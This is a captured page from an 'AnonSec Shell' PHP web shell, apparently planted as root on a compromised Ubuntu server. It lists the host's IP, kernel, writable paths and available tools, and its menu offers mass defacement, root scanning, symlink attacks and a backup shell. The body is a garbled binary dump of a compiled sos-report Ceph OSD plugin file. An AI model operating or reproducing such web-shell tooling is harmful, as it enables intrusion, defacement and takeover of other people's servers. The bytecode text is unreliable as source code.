AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/ceph_osd.cpython-310.pyc
o

���b��@s4ddlmZmZmZddlZGdd�deee�ZdS)�)�Plugin�RedHatPlugin�UbuntuPluginNc@s,eZdZdZdZdZdZdd�Zdd�Zd	S)
�CephOSDzCEPH osd�ceph_osd)�storage�virt�	container)z
ceph-osd.*cCst�d�rdSdS)Nz/var/lib/ceph/osd/*/*TF)�glob)�self�r�=/usr/lib/python3/dist-packages/sos/report/plugins/ceph_osd.py�
check_enabledszCephOSD.check_enabledc
s|�ddi�|�gd��|�ddg�gd��g}|�d�}|dd	kr`|d
��D]3}|��}|r_|d	�d�r_z|�d�}|�d
||d�Wq,t	t
fy^|�d|�Yq,wq,z|�d�d	d}Wnt
yvd}Ynw|j�fdd�|D�|d�|�gd��dS)Nz/var/log/ceph/ceph-osd.*.log�ceph_osd_log)z/run/ceph/ceph-osd*z/var/lib/ceph/osd/*/kv_backendz/var/log/ceph/ceph-osd*.logz/var/log/ceph/ceph-volume*.logzceph-disk listzceph-volume lvm list)zbluestore bluefs availablezconfig diffzconfig show�dump_blacklist�dump_blocked_ops�dump_historic_ops_by_duration�dump_historic_slow_ops�
dump_mempools�dump_ops_in_flight�dump_op_pq_state�dump_osd_network�dump_reservations�
dump_watcherszlog dumpz	perf dumpzperf histogram dump�objecter_requests�ops�status�versionzps -u ceph -o argsrr�outputzceph-osdz--idzosd.%s�zcould not find ceph-osd id: %sz	ceph-osd*cs"g|]
}�D]}d||f�qqS)zceph daemon %s %sr)�.0�i�c��	ceph_cmdsrr
�
<listcomp>Ws"z!CephOSD.setup.<locals>.<listcomp>)r	)z/etc/ceph/*keyring*z/var/lib/ceph/*keyring*z/var/lib/ceph/*/*keyring*z/var/lib/ceph/*/*/*keyring*z/var/lib/ceph/tmp/*mnt*z/etc/ceph/*bindpass*)�
add_file_tags�
add_copy_spec�add_cmd_output�exec_cmd�
splitlines�split�endswith�index�append�
IndexError�
ValueError�log_warn�get_all_containers_by_regex�	Exception�add_forbidden_path)r�osd_ids�out�procs�proc�id_index�cnamerr#r
�setups@��

����z
CephOSD.setupN)	�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�
containersrr;rrrr
r
sr)�sos.report.pluginsrrrr
rrrrr
�<module>s

Anon7 - 2022
AnonSec Team